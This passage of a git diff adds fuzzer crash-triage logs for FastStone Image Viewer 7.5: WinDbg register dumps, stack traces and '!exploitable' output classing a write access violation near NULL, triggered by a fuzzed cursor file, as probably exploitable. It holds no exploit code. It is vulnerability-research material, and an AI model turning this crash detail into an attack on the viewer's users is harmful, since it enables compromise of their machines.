shared\ink\tiptsf.dll +(1ffc.1cf8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f555f0 edx=00000000 esi=00000000 edi=11720fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 1.065350000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-0.0814406 -8.43683e-035 2.11172e+007 -625073 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00242000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00242000 17c39c98 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0e2 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00242000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..342baa2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..bc6bf60 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bd4.348): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=6.34543e+022 -9.89521e-005 -1.31053e-038 -3.23185e+029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c8000 1029f6b5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..bc6bf60 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/53026/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bd4.348): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=6.34543e+022 -9.89521e-005 -1.31053e-038 -3.23185e+029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl 